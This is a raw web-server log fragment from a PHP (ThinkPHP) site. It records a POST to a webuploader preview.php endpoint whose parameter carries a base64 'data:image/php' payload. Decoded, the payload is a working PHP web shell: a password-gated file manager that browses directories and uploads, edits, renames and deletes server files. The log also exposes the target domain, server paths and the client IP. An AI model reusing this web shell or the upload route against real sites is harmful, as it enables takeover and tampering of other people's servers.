'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:51+08:00 ] 116.213.36.234 POST www.51tianwei.com/Data/editor/webuploader/0.1.5/server/preview.php [运行时间:0.002522s] [吞吐率:396.51req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 